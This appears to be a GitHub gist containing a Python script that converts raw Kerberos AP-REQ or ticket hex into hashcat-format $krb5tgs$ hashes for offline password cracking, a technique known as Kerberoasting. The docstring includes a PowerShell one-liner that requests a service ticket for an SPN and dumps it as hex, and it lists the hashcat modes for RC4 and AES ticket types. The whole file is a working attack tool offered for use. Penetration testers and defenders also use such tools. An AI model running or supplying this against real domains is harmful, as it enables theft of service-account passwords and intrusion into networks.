Created
July 7, 2026 13:40
-
-
Save stuartw1/f968db9b17a9779bdb311fda31af948d to your computer and use it in GitHub Desktop.
Convert AP-REQ to hashcat
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| """ | |
| apreq2hashcat.py -- convert a raw Kerberos AP-REQ / ticket (hex) into a | |
| hashcat-ready Kerberoasting hash. | |
| Input is the hex you get from, e.g., PowerShell: | |
| $Request = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPN | |
| ($Request.GetRequest() | % { '{0:X2}' -f $_ }) -join '' | |
| It accepts the GSS-wrapped AP-REQ (starts 0x60), a bare AP-REQ (0x6E), | |
| or a bare Ticket (0x61). The etype is auto-detected and the correct | |
| hashcat format is emitted: | |
| etype 23 (RC4) -> $krb5tgs$23$*user$realm$spn*$checksum$edata2 (-m 13100) | |
| etype 17 (AES128) -> $krb5tgs$17$user$realm$checksum$edata2 (-m 19600) | |
| etype 18 (AES256) -> $krb5tgs$18$user$realm$checksum$edata2 (-m 19700) | |
| A line already starting with "$krb" is passed through unchanged. | |
| """ | |
| import sys | |
| import argparse | |
| import re | |
| # ---- minimal DER/BER reader ------------------------------------------------ | |
| def read_tlv(b, i): | |
| """Return (tag, value_bytes, next_index) for the TLV at offset i.""" | |
| tag = b[i]; i += 1 | |
| if (tag & 0x1F) == 0x1F: # high-tag-number form (rare in krb) | |
| while b[i] & 0x80: | |
| i += 1 | |
| i += 1 | |
| length = b[i]; i += 1 | |
| if length & 0x80: # long-form length | |
| n = length & 0x7F | |
| length = int.from_bytes(b[i:i + n], "big") | |
| i += n | |
| return tag, b[i:i + length], i + length | |
| def tlvs(b): | |
| """Iterate the concatenated TLVs contained in a constructed value.""" | |
| out, i = [], 0 | |
| while i < len(b): | |
| tag, val, i = read_tlv(b, i) | |
| out.append((tag, val)) | |
| return out | |
| def find(children, tag): | |
| for t, v in children: | |
| if t == tag: | |
| return v | |
| return None | |
| # ---- Kerberos navigation --------------------------------------------------- | |
| def strip_gss(b): | |
| """Unwrap a GSS-API InitialContextToken: [APP 0]{ OID krb5, tok-id(2), msg }.""" | |
| if b and b[0] == 0x60: | |
| _, val, _ = read_tlv(b, 0) | |
| _, _, after_oid = read_tlv(val, 0) # skip the mechanism OID | |
| return val[after_oid + 2:] # skip the 2-byte tok-id | |
| return b | |
| def ticket_fields(b): | |
| """From GSS/AP-REQ/Ticket hex bytes, return the Ticket's field TLV list.""" | |
| b = strip_gss(b) | |
| tag = b[0] | |
| if tag == 0x6E: # AP-REQ [APPLICATION 14] | |
| apreq_seq = read_tlv(b, 0)[1] | |
| fields = read_tlv(apreq_seq, 0)[1] | |
| ticket_ctx = find(tlvs(fields), 0xA3) # ticket [3] | |
| if ticket_ctx is None: | |
| raise ValueError("AP-REQ has no ticket field [3]") | |
| b = ticket_ctx | |
| tag = b[0] | |
| if tag != 0x61: # Ticket [APPLICATION 1] | |
| raise ValueError(f"expected a Ticket (0x61), first tag was 0x{tag:02X}") | |
| ticket_val = read_tlv(b, 0)[1] # value = inner SEQUENCE | |
| return tlvs(read_tlv(ticket_val, 0)[1]) | |
| def parse_ticket(b): | |
| """Return (etype, realm, spn, cipher_hex) from ticket hex bytes.""" | |
| fields = ticket_fields(b) | |
| realm = find(tlvs(find(fields, 0xA1)), 0x1B).decode() # realm [1] GeneralString | |
| sname_seq = read_tlv(find(fields, 0xA2), 0)[1] # sname [2] PrincipalName | |
| namestring = read_tlv(find(tlvs(sname_seq), 0xA1), 0)[1] # [1] name-string | |
| spn = "/".join(v.decode() for t, v in tlvs(namestring) if t == 0x1B) | |
| enc = tlvs(read_tlv(find(fields, 0xA3), 0)[1]) # enc-part [3] EncryptedData | |
| etype = int.from_bytes(find(tlvs(find(enc, 0xA0)), 0x02), "big") # [0] etype | |
| cipher = find(tlvs(find(enc, 0xA2)), 0x04) # [2] cipher OCTET STRING | |
| return etype, realm, spn, cipher.hex() | |
| # ---- hashcat formatting ---------------------------------------------------- | |
| def to_hashcat(etype, realm, spn, cipher_hex, user): | |
| if etype == 23: # RC4: checksum = first 16 bytes | |
| checksum, edata2 = cipher_hex[:32], cipher_hex[32:] | |
| return f"$krb5tgs$23$*{user}${realm}${spn}*${checksum}${edata2}" | |
| if etype in (17, 18): # AES: checksum = last 12 bytes | |
| checksum, edata2 = cipher_hex[-24:], cipher_hex[:-24] | |
| return f"$krb5tgs${etype}${user}${realm}${checksum}${edata2}" | |
| raise ValueError(f"unsupported etype {etype} (expected 17, 18 or 23)") | |
| def convert(line, user, realm_override, warn): | |
| line = line.strip() | |
| if line.lower().startswith("$krb"): # already a hashcat hash -> passthrough | |
| return line | |
| cleaned = re.sub(r"[\s:]", "", line) | |
| if cleaned[:2].lower() == "0x": | |
| cleaned = cleaned[2:] | |
| raw = bytes.fromhex(cleaned) | |
| etype, realm, spn, cipher_hex = parse_ticket(raw) | |
| if realm_override: | |
| realm = realm_override | |
| u = user or spn.split("/")[0] | |
| if etype in (17, 18) and not user: | |
| warn(f"etype {etype} (AES) salt is REALM+samAccountName; USER defaulted to " | |
| f"'{u}' from the SPN. It will load but NOT crack unless you pass " | |
| f"--user <samAccountName>.") | |
| return to_hashcat(etype, realm, spn, cipher_hex, u) | |
| # ---- CLI ------------------------------------------------------------------- | |
| def main(): | |
| ap = argparse.ArgumentParser( | |
| description="Convert a raw Kerberos AP-REQ/ticket (hex) into a hashcat-ready " | |
| "$krb5tgs$ hash. Reads one hex blob per line from stdin unless " | |
| "--hash or --infile is given.", | |
| formatter_class=argparse.RawDescriptionHelpFormatter, | |
| epilog="examples:\n" | |
| " echo <HEX> | %(prog)s --user svc_sql\n" | |
| " %(prog)s --hash <HEX> --user svc_sql\n" | |
| " %(prog)s --infile requests.txt --outfile hashes.txt --user svc_sql") | |
| ap.add_argument("--hash", metavar="HEX", help="a single AP-REQ/ticket hex blob to convert") | |
| ap.add_argument("--infile", metavar="PATH", help="read one hex blob per line from PATH") | |
| ap.add_argument("--outfile", metavar="PATH", help="write one hashcat hash per line to PATH") | |
| ap.add_argument("--user", metavar="NAME", | |
| help="service account samAccountName (forms the AES salt; required to " | |
| "crack etype 17/18, cosmetic for etype 23)") | |
| ap.add_argument("--realm", metavar="REALM", help="override the realm parsed from the ticket") | |
| args = ap.parse_args() | |
| if args.hash is not None: | |
| lines = [args.hash] | |
| elif args.infile: | |
| with open(args.infile) as f: | |
| lines = f.read().splitlines() | |
| else: | |
| lines = sys.stdin.read().splitlines() | |
| def warn(msg): | |
| print(f"[!] {msg}", file=sys.stderr) | |
| results = [] | |
| for ln in lines: | |
| if not ln.strip(): | |
| continue | |
| try: | |
| results.append(convert(ln, args.user, args.realm, warn)) | |
| except Exception as e: | |
| warn(f"skipped input ({e})") | |
| blob = "".join(r + "\n" for r in results) | |
| if args.outfile: | |
| with open(args.outfile, "w") as f: | |
| f.write(blob) | |
| warn(f"wrote {len(results)} hash(es) to {args.outfile}") | |
| else: | |
| sys.stdout.write(blob) | |
| if __name__ == "__main__": | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment